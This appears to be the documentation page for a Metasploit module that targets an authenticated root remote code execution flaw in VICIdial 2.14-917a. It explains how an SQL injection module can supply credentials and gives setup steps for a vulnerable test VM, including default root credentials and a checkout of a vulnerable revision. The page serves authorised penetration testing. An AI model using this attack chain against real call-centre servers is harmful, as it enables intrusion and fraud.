Vulnerable Application

This module exploits a single authenticated Remote Code Execution (RCE)vulnerability in VICIdial, affecting version 2.14-917a. An attacker with valid credentials can execute arbitrary shell commands as the "root" user.

In certain scenarios, attackers may retrieve valid credentials using the SQL Injection vulnerability with the Metasploit module auxiliary/scanner/http/vicidial_sql_enum_users_pass. This allows attackers to enumerate users and passwords, which can then be used to exploit this RCE vulnerability.

VICIdial does not encrypt passwords by default, making it easier for attackers to use enumerated credentials.

VICIBox/VICIdial includes an auto-update mechanism, so be cautious when creating vulnerable environments for testing.

Install

Version 11.0.1 Setup

  1. Download the ISO: ViciBox_v11.x86_64-11.0.1-md.iso

  2. Create a VM:

    • Connect to the shell using the default credentials: root:vicidial (Note: The keyboard layout is QWERTY by default).
  3. Run the setup and reboot the VM:

    • After rebooting, do not run the command /usr/local/bin/vicibox-install until after the next step.
  4. Vulnerable Revision Setup:

    • Run the following command to install a vulnerable version of VICIdial:
svn checkout -r 3830 svn://svn.eflo.net:3690/agc_2-X/trunk /usr/src/astguiclient/trunk
  • Revision 3830 is vulnerable to both SQL Injection and RCE.
  • Note: The CVEs have been patched starting from revision 3848.
  1. Legacy Installation:
    • Run the installation in legacy mode:
vicibox-install --legacy
  1. Installer Output Example:
vicibox11:~ # vicibox-install --legacy

The installer will ask questions based upon the role that this server is
to provide for the ViciBox Call Center Suite. You should have the database
and optionally archive servers setup prior to installing any other servers.
The installer will not run without there being a configured database! If this
server is to be the database then it must be installed before the archive server.
Verify that all servers are connected to the same network and have connectivity
to each other before continuing. This installer will be destructive to the server if it is run.

PLEASE use secure passwords inside vicidial. It prevents hackers
and other undesirables from compromising your system and costing
you thousands in toll fraud and long distance. A secure password
Contains at least one capital letter and one number. A good example
of a secure password would be NrWZDqL1Rg37uuC.

Don't feed the black market, secure your systems properly!

System should be installed. Please type 'reboot' to cleanly load everything.

  1. Post-Installation:
    • After installation, reboot the system.
    • Access the web panel by navigating to the administration page and completing the initial setup.
